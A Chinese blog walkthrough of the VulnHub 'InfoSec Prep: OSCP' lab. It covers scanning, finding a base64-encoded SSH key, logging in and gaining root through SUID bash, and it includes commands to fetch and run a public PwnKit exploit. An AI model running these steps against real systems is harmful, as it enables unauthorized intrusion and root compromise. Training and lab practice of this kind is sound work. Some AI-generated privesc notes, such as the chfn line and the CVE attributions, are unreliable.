InfoSec Prep: OSCP靶场渗透
InfoSec Prep: OSCP
InfoSec Prep: OSCP ~ VulnHubInfoSec Prep: OSCP, made by FalconSpy. Download & walkthrough links are available.https://www.vulnhub.com/entry/infosec-prep-oscp,508/
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.182,靶场IP192.168.23.224
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.224
nmap --scripts=vlun 192.168.23.224 -v
(1) CSRF漏洞(跨站请求伪造)
风险描述
扫描器在多个路径发现无CSRF防护的表单(如搜索框、登录表单),攻击者可构造恶意链接诱骗用户提交请求,可能导致:
- 用户密码被修改
- 恶意内容发布(如文章、评论)
- 管理员权限被窃取(通过后台操作)
修复建议
- 为所有表单添加CSRF Token验证(WordPress默认支持,需检查主题/插件兼容性)。
- 使用nonce机制(WordPress函数wp_nonce_field)。
- 对关键操作(如密码修改)要求二次验证。
(2) 用户枚举风险
风险描述
发现用户名admin,攻击者可能针对此账户进行暴力破解。
修复建议
- 创建新管理员账户,删除或重命名admin账户。
- 限制登录尝试次数(如使用插件Limit Login Attempts Reloaded)。
- 启用双因素认证(如Google Authenticator)。
(3) 版本信息泄露
风险点
- /readme.html泄露WordPress版本(5.4.2)。
- 遗留文件(如/wp-includes/images/rss.png)暴露旧版本痕迹。
修复建议
- 删除/readme.html及无用遗留文件。
- 更新WordPress至最新版本(当前最新为6.5+),修复已知漏洞。
- 隐藏版本号(在functions.php中添加:remove_action('wp_head', 'wp_generator');)。
3. 其他Web风险
后台暴露路径
/wp-login.php和/wp-admin/upgrade.php可直接访问。
建议:
- 限制后台访问IP(通过.htaccess或防火墙)。
- 修改后台登录路径(使用插件WPS Hide Login)。
robots.txt泄露
- 需检查robots.txt是否包含敏感路径(如备份目录、配置文件)。
4,访问80端口开放的http服务
然后枚举扫描其存在的子目录
dirsearch -u http://192.168.23.224 -x 403,404
http://192.168.23.224/robots.txt
http://192.168.23.224/secret.txt
该页面的乱码有base64编码的特征,解码就能得到内容
是一个RSA私钥,应该会在之后的横向移动环节用到
5,初始网页提示了只存在一个用户oscp
创建并且使用密钥登录之
-----BEGIN OPENSSH PRIVATE KEY----- |
vim is_rsa chmod 600 is_rsa
ssh -i is_rsa oscp@192.168.23.224
登录成功
6,信息收集一下
id
whoami
sudo -l
uname -a
查看所有具有suid权限的文件
find / -perm -u=s -type f 2>/dev/null
AI分析可能存在提权风险的SUID二进制文件及利用方法:
1. /usr/bin/bash
- 风险:若bash具有SUID权限,可通过bash -p尝试获取root shell。
- 验证方法:
/usr/bin/bash -p
若成功,将直接进入root权限的shell。 - 修复建议:移除bash的SUID位:
sudo chmod u-s /usr/bin/bash
2. /usr/bin/pkexec
- 风险:受CVE-2021-4034(PwnKit漏洞)影响,低版本可本地提权。
- 验证方法:
检查版本:
pkexec --version
若版本低于0.105-26ubuntu1.1(Ubuntu)或未打补丁,可尝试利用公开EXP。 - 利用步骤:
下载EXP并执行:
git clone https://github.com/berdav/CVE-2021-4034.git
cd CVE-2021-4034
make
./cve-2021-4034 - 修复建议:更新系统或运行apt upgrade policykit-1.
3. /usr/bin/sudo
- 风险:CVE-2021-3156(Baron Samedit漏洞)允许本地用户获得root权限。
- 验证方法:
检查sudo版本:
sudo --version
若版本在1.8.2到1.8.31p2之间,可能存在风险。 - 利用步骤:
使用公开EXP(如https://github.com/blasty/CVE-2021-3156)。
4. /usr/lib/snapd/snap-confine
- 风险:历史漏洞如CVE-2021-44731(Ubuntu Snap提权)。
- 验证方法:
检查snapd版本:
snap --version
若版本低于2.54.3,可能存在漏洞。 - 修复建议:更新snapd:sudo apt update && sudo apt install snapd.
5. /usr/bin/mount 或 /usr/bin/umount
- 风险:若允许用户挂载敏感目录(如/etc),可能覆盖敏感文件。
- 利用条件:需允许非root用户挂载特定设备。
- 示例:
mount -o loop /dev/sda1 /mnt # 尝试挂载设备
若成功,可修改挂载目录中的文件。
6. /usr/bin/fusermount
- 风险:低版本存在CVE-2018-19824,允许非root用户挂载FUSE文件系统。
- 验证方法:
检查版本:
fusermount --version
若版本低于2.9.9,可能存在风险。
7. /usr/bin/chfn 或 /usr/bin/chsh
- 风险:若配置不当(如/etc/login.defs中CHFN_RESTRICT未设置),可能通过修改用户信息提权。
- 利用方法:
chfn -o root /etc/passwd # 尝试注入root权限
需要特定配置漏洞配合。
7,这里使用bash命令的suid提权方法
若二进制文件设置了 SUID 权限位(即 -rwsr-xr-x ),且未正确降权,攻击者可能利用它访问文件系统、提权或维持权限(例如作为 SUID 后门)。
在 Debian Stretch 及更早版本 中,默认允许 Shell(如 bash)以 SUID 权限运行(无需额外参数即可保留特权)。
利用步骤
- 创建本地 SUID 副本
将系统的 bash 二进制文件复制到当前目录,并保留其 SUID 权限:
sudo install -m =xs $(which bash) .
- install -m =xs:设置新文件的权限为 SUID(等效于 chmod u+s)。
- $(which bash):获取系统默认 bash 的绝对路径。
- 执行 SUID 二进制文件
运行复制的 bash 并附加 -p 参数以保留特权:
bash -p
- -p 参数:启动特权模式(不重置 UID/EUID)。
- 若成功,将进入 root shell(通过 id -u 验证 UID 是否为 0)。
成功提权成为root用户
相关文章:
InfoSec Prep: OSCP靶场渗透
InfoSec Prep: OSCP InfoSec Prep: OSCP ~ VulnHubInfoSec Prep: OSCP, made by FalconSpy. Download & walkthrough links are available.https://www.vulnhub.com/entry/infosec-prep-oscp,508/ 1,将两台虚拟机网络连接都改为NAT模式 2,攻击机上做…...
【Kubernetes】Kubernetes 如何管理存储?PV 和 PVC 是如何工作的?
在 Kubernetes 中,存储管理是通过 Persistent Volume (PV) 和 Persistent Volume Claim (PVC) 来实现的。 它们为容器化应用提供持久化存储,使得应用在重启或重新调度时仍然能够访问数据。 1. 存储管理概述 Kubernetes 的存储管理是基于 持久化卷 (Pe…...
CasaOS小主机本地安装1Panel运维面板结合内网穿透移动端远程运维
文章目录 前言1. 添加镜像源2. 部署1Panel3. 本地访问测试4. 安装内网穿透工具5. 配置公网地址6. 配置固定公网地址 前言 小伙伴们,是不是一想到要远程管理服务器就头大如斗?特别是没有公网IP或路由器设置复杂时,简直让人抓狂!但…...
BGP路由协议之属性2
Orgin 起源 公认必遵属性 起源名称标记描述IGPi如果路由是由始发的 BGP 路由器使用 network 命令注入到 BGP 的,那么该 BGP 路由的 origin 属性为 IGPEGPe如果路由是通过 EGP 学习到的,那么该 BGP 路由的 Origin 属性为 EGPIncomplete?如果路由是通过…...
HttpClient(笔记)
介绍: 发送请求的步骤: 发送get类型的请求: 发送post类型的请求:...
【简历全景认知】简历的历史演变与当代定位:从羊皮卷到算法博弈的艺术
引言:时间维度下的求职凭证。 当古埃及工匠在莎草纸上记录自己的技能时,他们不会想到这份"技能清单"会在四千年后演变成LinkedIn上的数字档案。简历作为个人职业身份的载体,其演变史就是一部微观的人力资源配置史。从手写推荐信到ATS系统解析的PDF,每一次形式变…...
ERP系统五大生产模式概述
制造业中,选择合适的生产模式是企业高效运营的关键。 以下是ERP系统支持的五大核心生产模式及其特点总结: 1. MTS(按库存生产) - 定义:先生产后销售,基于需求预测提前备货。 - 适用场景:需求稳定、标准化程度高的产品(如日用品、家电)。 - 优点:交货快、生产…...
003 vue生命周期和钩子函数
文章目录 1.Vue实例有一个完整的生命周期,也就是说从开始创建、初始化数据、编译模板、挂载DOM、渲染-更新-渲染、卸载等一系列过程,称之为Vue实例的生命周期 2.钩子函数(监听函数):Vue实例在完整的生命周期过程中&…...
学透Spring Boot — 016. 魔术师 - Spring MVC Conversion Service 类型转换
本文是我的《学透Spring Boot》专栏的第16篇文章,了解更多请移步我的专栏: Postnull的专栏《学透Spring Boot》 目录 遇到问题 日期格式的转换 实现需求 创建转换器 注册转换器 编写Controller 访问测试 存在的问题 解决问题 源码分析 总结 …...
Ubuntu 22 Linux上部署DeepSeek R1保姆式操作详解(Xinference方式)
一、安装步骤 1.基础环境安装 安装显卡驱动、cuda,根据自己硬件情况查找相应编号,本篇不介绍这部分内容,只给出参考指令,详情请读者自行查阅互联网其它参考资料。 sudo apt install nvidia-utils-565-server sudo apt install…...
C语言查漏补缺:占位符篇
占位符篇 1. 整数类型2. 字符类型3. 浮点数类型4. 指针类型5. 字符串6. 修饰符 1. 整数类型 %d / %i:用于 int(有符号十进制整数)。int num -42; printf("%d", num); // 输出: -42%u:用于 unsigned int(无…...
springcloud现常用的组件都有哪些,如何使用
Spring Cloud是一个用于构建分布式系统的开源框架,它提供了多个常用的组件来简化分布式系统的开发和部署。以下是Spring Cloud中常用的一些组件: Spring Cloud Config:用于集中式管理配置,并提供配置的动态刷新功能。Spring Clou…...
Vue3响应式引擎解密:从依赖追踪到性能调优的深度之旅
一、响应式内核架构演进 1.1 响应式范式升级 1.2 新旧架构性能对比 操作类型Vue2(ms)Vue3(ms)提升幅度深对象初始化8502203.86x数组操作响应120186.67x嵌套属性访问340655.23x批量更新响应210326.56x 二、依赖追踪机制剖析 2.1 依赖收集实战案例 // 数据模型const state r…...
主流程发起,去除子流程的时长计算问题
问题: 有三个流程,流程1.2.3,流程2.3是流程1的子流程,若在流程1的过程中发起流程2.3,计算流程1的时长要排除流程2.3的时间,流程2.3之间可能是包含、交集、无交集三种。 实现 代码: import jav…...
Java 8 到 Java 21 系列之 新日期时间API:精确的时间管理(Java 8)
Java 8 到 Java 21 系列之 新日期时间API:精确的时间管理(Java 8) 系列目录 Java8 到 Java21 系列之 Lambda 表达式:函数式编程的开端(Java 8)Java 8 到 Java 21 系列之 Stream API:数据处理的…...
【LeetCode】在每个树行中找最大值(DFS 深度优先搜索)
📌题目链接:LeetCode 515. 在每个树行中找最大值 题目描述 给定一棵二叉树的根节点 root,请找出该二叉树中每一层的最大值。 示例 示例 1 输入: root [1,3,2,5,3,null,9] 输出: [1,3,9]示例 2 输入: root [1,2,3] 输出: [1,3]思路分析 …...
深度学习中模型量化那些事
在深度学习中模型量化可以分为3块知识点,数据类型、常规模型量化与大模型量化。本文主要是对这3块知识点进行浅要的介绍。其中数据类型是模型量化的基本点。常规模型量化是指对普通小模型的量化实现,通常止步于int8的量化,绝大部分推理引擎都…...
手写JSX实现虚拟DOM
🤍 前端开发工程师、技术日更博主、已过CET6 🍨 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 🕠 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》、《前端求职突破计划》 🍚 蓝桥云课签约作者、…...
Redis的Spring客户端的使用
Redis 的 Spring 客户端使用 前面使用 Jedis 时, 是借助 Jedis 对象中的各种方法来对 Redis 进行操作. 而在 Spring 框架中, 则是通过 StringRedisTemplate 来操作 Redis. 最开始提供的类是 RedisTemplate, StringRedisTemplate 是 RedisTemplate 的子类, 专门用于处理文本数据…...
7.4 SVD 的几何背景
一、SVD 的几何解释 SVD 将矩阵分解成三个矩阵的乘积: ( 正交矩阵 ) ( 对角矩阵 ) ( 正交矩阵 ) (\pmb{正交矩阵})\times(\pmb{对角矩阵})(\pmb{正交矩阵}) (正交矩阵)(对角矩阵)(正交矩阵),用几何语言表述其几何背景: ( 旋转 ) ( 伸缩 )…...
WEB安全--内网渗透--LMNTLM基础
一、前言 LM Hash和NTLM Hash是Windows系统中的两种加密算法,不过LM Hash加密算法存在缺陷,在Windows Vista 和 Windows Server 2008开始,默认情况下只存储NTLM Hash,LM Hash将不再存在。所以我们会着重分析NTLM Hash。 在我们内…...
BN 层做预测的时候, 方差均值怎么算
✅ 一、Batch Normalization(BN)回顾 BN 层在训练和推理阶段的行为是不一样的,核心区别就在于: 训练时用 mini-batch 里的均值方差,预测时用全局的“滑动平均”均值方差。 🧪 二、训练阶段(Trai…...
【AI热点】meta新发布llama4深度洞察(快速认知)
以下是一份针对新发布的 Llama 4 模型的深度洞察报告。报告将从模型家族整体概览、技术创新与架构特点、功能与性能表现、多模态与超长上下文、与主流竞品比较、应用场景与未来展望六大部分进行分析和总结。 一、Llama 4 家族整体概览 家族成员 Llama 4 Scout 总参数量约 10…...
大厂机考——各算法与数据结构详解
目录及其索引 哈希双指针滑动窗口子串普通数组矩阵链表二叉树图论回溯二分查找栈堆贪心算法动态规划多维动态规划学科领域与联系总结 哈希 学科领域:计算机科学、密码学、数据结构 定义:通过哈希函数将任意长度的输入映射为固定长度…...
前端面试的ACM模式笔试输入模式
在前端面试的ACM模式笔试中,输入参数的读取是核心技能之一,以下是常见场景的代码实现及注意事项: 一、JavaScript的两种输入模式 1. V8模式(浏览器环境/部分OJ平台) • 核心方法:通过 read_line() 或 rea…...
AIP-215 API特定proto
编号215原文链接AIP-215: API-specific protos状态批准创建日期2018-10-01更新日期2018-10-01 API通常使用API特定proto定义,偶尔依赖通用组件。保持API相互隔离可以避免版本问题和客户端库打包问题。 指南 所有特定于某个API的protos 必须 位于带有主版本号的包…...
计算机毕业设计指南
哈喽各位大四的小伙伴们,以下是一份详细的计算机专业毕业设计指南,涵盖选题、流程、技术选型、开发建议和常见问题解决方案,帮助你高效完成毕业设计,如有其他问题,欢迎点击文章末尾名片进行咨询,可免费赠送…...
内网渗透-Linux提权之suid提权
Linux提权之suid提权 suid简介 在Linux系统中的文件,通常有rwx也就是读、写、执行三种权限,但其实还有第四种权限,也就是suid权限。在执行拥有suid权限的文件的过程中,会获得文件属主的权限。例如,当cat命令具有suid…...
FreeCAD傻瓜教程-钣金工作台SheetMetal的安装和简单使用
起因: 因为需要在平面上固定一段比较短的铝型材,角码太占用横向空间,所以想做两个Z字固定片,将型材从两端进行螺丝固定。在绘图的时候想到,板材折弯后的长度。开孔位置等都会有所变化,如何确定相关的尺寸&a…...
语法: ptr=malloc(size)
MALLOC( ) 语法: ptrmalloc(size) 参数: size是一个整数,表示被分配的字节个数; 返回值: 如果允许的话,返回值是一个指向被分配存储器的指针;否则的话, 返回值是一个非指针; 功能: 该函数用来分配一定大小的空间给一个对象,其大小为size,但该空间的值为不确定值; 有…...
(五)安卓开发中的滚动布局(ScrollView / HorizontalScrollView)使用详解
在安卓开发中,滚动布局是一种非常重要的布局方式,它允许用户在屏幕上滚动查看超出屏幕范围的内容。本文将详细讲解滚动布局的基本概念、主要属性、代码示例以及具体的使用场景,帮助开发者深入理解并灵活运用。 基本概念 滚动布局本质上是一个…...
Matlab:三维绘图
目录 1.三维曲线绘图命令:plot3 实例——绘制空间直线 实例——绘制三角曲线 2.三维曲线绘图命令:explot3 3.三维网格命令:mesh 实例——绘制网格面 实例——绘制山峰曲面 实例——绘制函数曲线 1.三维曲线绘图命令:plot3 …...
Java中String、Array、List的相互转换工具类
Java中的数组与集合类的使用,系列文章: 《Java数组》 《Java集合类》 《Java中String、Array、List的相互转换工具类》 《Java8使用Stream流实现List列表的查询、统计、排序、分组》 《Java实现List集合的排序:Comparable接口、Comparator接口、stream().sorted()方法的使用…...
【HFP】蓝牙HFP应用层核心技术研究
免提配置文件(Hands-Free Profile, HFP)作为实现设备间音频通信的关键协议,广泛应用于车载系统、蓝牙耳机等场景。本文将基于最新技术规范,深入剖析HFP应用层的功能要求、协议映射及编解码器支持,为蓝牙开发工程师提供详尽的技术指南。 一、HFP应用层功能全景图 HFP定义…...
P1734 最大约数和(dp)
题目描述 选取和不超过 S 的若干个不同的正整数,使得所有数的约数(不含它本身)之和最大。 输入格式 输入一个正整数 S。 输出格式 输出最大的约数之和。 输入输出样例 输入 #1复制 11 输出 #1复制 9 说明/提示 【样例说明】 取数…...
P1596 [USACO10OCT] Lake Counting S(DFS)
题意翻译 由于近期的降雨,雨水汇集在农民约翰的田地不同的地方。我们用一个 NM(1≤N≤100,1≤M≤100) 的网格图表示。每个网格中有水(W) 或是旱地(.)。一个网格与其周围的八个网格相连,而一组相连的网格视…...
ROS Bag 数据裁剪教程
ROS Bag 数据裁剪教程 文章目录 ROS Bag 数据裁剪教程1. Bag 数据显示2. Bag 数据裁剪2.1 基本命令2.2 过滤更多条件2.3 注意事项 在使用 ROS 进行机器人开发和调试时,我们经常需要使用 rosbag 工具来记录和回放传感器数据、日志等信息。本文将介绍如何使用 rosba…...
AF3 OpenFoldDataLoader类解读
AlphaFold3 data_modules 模块的 OpenFoldDataLoader 类继承自 PyTorch 的 torch.utils.data.DataLoader。该类主要对原始 DataLoader 做了批数据增强与控制循环迭代次数(recycling)相关的处理。 源代码: class OpenFoldDataLoader(torch.utils.data.DataLoader):def __in…...
基于内容的课程推荐网站的设计与实现00(SSM+htmlL)
基于内容的课程推荐网站的设计与实现(SSMhtml) 该系统是一个基于内容的课程推荐网站,旨在为用户提供个性化的课程推荐。系统包含多个模块,如教学视频、教学案例、课程信息、系统公告、个人中心和后台管理。用户可以通过首页访问不同的课程分类ÿ…...
【Linux网络】以太网(数据链路层)
认识以太网 两台主机在同一个局域网下是可以进行通信的,因为每台主机都有自己的标识符. 太网是负责直接相连的两个设备之间的可靠数据传输,"以太网" 不是一种具体的网络, 而是一种技术标准; 既包含了数据链路层的内容, 也包含了一些物理层的内容.在局域网中&#x…...
大模型学习五:DeepSeek Janus-Pro-7B 多模态半精度本地部署指南:环境是腾讯cloudstudio高性能GPU 16G免费算力
一、说明介绍 由于前面玩过了,所以啥也别说,就是显存不够玩,要优化,没钱就是这么回事,看下图,显存实际只有15360M,确实是16G 如何获取算力 二、如何获取算力 1、进入网址 Cloud Studio 2、没有…...
Spring 中的事务
🧾 一、什么是事务? 🧠 通俗理解: 事务 一组操作,要么全部成功,要么全部失败,不能只做一半。 比如你转账: A 账户扣钱B 账户加钱 如果 A 扣了钱但 B 没收到,那就出问…...
2025-04-06 NO.2 Quest3 基础配置与打包
文章目录 1 场景配置1.1 开启手势支持1.2 创建 OVRCameraRig1.3 创建可交互 Cube 2 打包配置 环境: Windows 11Unity6000.0.42f1 Quest3 开发环境配置见 2025-03-17 NO.1 Quest3 开发环境配置教程_quest3 unity 开发流程-CSDN博客。 1 场景配置 1.1 开启手势支持 …...
人脸考勤管理一体化系统(人脸识别系统,签到打卡)
人脸考勤管理一体化系统 项目介绍 本项目是基于Flask、SQLAlchemy、face_recognition库的人脸考勤管理一体化系统。 系统通过人脸识别技术实现员工考勤打卡、人脸信息采集、人脸模型训练等功能。 项目采用前后端分离的技术框架,基于Flask轻量级Web框架搭建后端服务…...
LeetCode 每日一题 2025/3/31-2025/4/6
记录了初步解题思路 以及本地实现代码;并不一定为最优 也希望大家能一起探讨 一起进步 目录 3/31 2278. 字母在字符串中的百分比4/1 2140. 解决智力问题4/2 2873. 有序三元组中的最大值 I4/3 2874. 有序三元组中的最大值 II4/4 1123. 最深叶节点的最近公共祖先4/5 1…...
mybatis plus 实体类基于视图,更新单表的时候报视图或函数‘v_视图名‘不可更新,因为修改会影响多个基表的错误的简单处理方法。
1、之前的文章中写了一下基于视图的实体,因为当前测试通过了,可能有缓存。 2、然后今天又用到了这个方法,发现报错了: 建了一下视图,将实体类绑定到了视图中,并不是原表中。 3、用mybatis提供的注解或者x…...
语法: i8=make8( var, offset);
MAKE8( ) 语法: i8make8( var, offset); 参数: var是16位或32位整数; offset是字节的偏移量,为1,2或3; 返回值: 返回值是一个8位整数; 功能: 该函数用来摘取以var为基址, offset为偏移量,所指向单元的字节;除了执行单字节复制之外,还相当于i8( ( var>>(offset…...
Seata TCC模式是怎么实现的?
Seata TCC 模式实现原理 TCC(Try-Confirm-Cancel)是 Seata 提供的分布式事务解决方案之一,适用于 高并发、高性能 场景,通过 业务补偿 保证最终一致性。其核心思想是将事务拆分为三个阶段: Try:预留资源(冻结数据,检查约束)。Confirm:确认提交(真正扣减资源)。Can…...
sentinel新手入门安装和限流,热点的使用
1 sentinel入门 1.1下载sentinel控制台 🔗sentinel管理后台官方下载地址 下载完毕以后就会得到一个jar包 1.2启动sentinel 将jar包放到任意非中文目录,执行命令: java -jar 名字.jar如果要修改Sentinel的默认端口、账户、密码ÿ…...
对责任链模式的理解
对责任链模式的理解 一、场景1、题目【[来源](https://kamacoder.com/problempage.php?pid1100)】1.1 题目描述1.2 输入描述1.3 输出描述1.4 输入示例1.5 输出示例 二、不采用责任链模式1、代码2、缺点 三、采用责任链模式1、代码2、优点 四、思考 一、场景 1、题目【来源】 …...